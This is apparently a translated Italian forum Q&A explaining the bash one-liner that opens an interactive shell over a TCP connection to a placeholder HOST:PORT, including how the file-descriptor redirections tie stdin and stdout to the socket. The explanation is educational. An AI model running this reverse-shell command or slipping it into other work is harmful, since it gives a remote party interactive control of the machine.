Risposte:
Questo frammento esegue una nuova istanza interattiva di bash ( bash -i
), su una connessione TCP alla porta specificata sull'host specificato, creata per la durata del processo bash. L'output standard e l'errore standard vengono inviati tramite questa connessione ( >& /dev/tcp/HOST/PORT
) e l'input standard viene letto attraverso questa connessione ( 0>&1
- questo dovrebbe essere 0<&1
ma 0>&1
funziona anche).
Non è in corso il port forwarding. Ovviamente, un server TCP di qualche tipo deve ascoltare e accettare connessioni su quel HOST: PORT, e il firewall deve lasciare passare la connessione.
/dev/tcp/HOST/PORT
? Ho pensato che avresti sostituito un nome HOST
e un numero con PORT
. Altrimenti riceveresti un messaggio di errore da bash. Dato che non hai menzionato alcun messaggio di errore, presumo che tu non l'abbia visto.
0<&1
parte. L'ho letto come 'take bash stdout ( &1
) e pipe in bash stdin ( 0
)', il che ha senso. Puoi spiegare come funziona questa parte?
0<&1
significa connettere tutto ciò che è attualmente aperto sul descrittore di file 1 al descrittore di file 0. Poiché il reindirizzamento precedente ha >& /dev/tcp/HOST/PORT
collegato fd 1 (il valore predefinito per un reindirizzamento dell'output) a /dev/tcp/HOST/PORT
, cioè aperto un socket TCP, questo duplica la connessione TCP al descrittore di file 0 (ovvero lo stesso socket è ora aperto anche su fd 0, questo è diverso da 0 </ dev / tcp / HOST / PORT che aprirebbe un socket diverso allo stesso server).